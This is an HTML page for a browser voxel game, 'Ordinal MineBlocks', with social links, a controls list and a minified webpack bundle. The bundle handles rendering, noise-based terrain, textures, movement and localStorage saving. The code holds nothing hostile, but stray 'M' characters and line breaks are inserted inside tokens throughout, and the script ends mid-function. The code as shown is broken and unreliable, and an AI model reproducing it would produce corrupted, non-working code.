      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
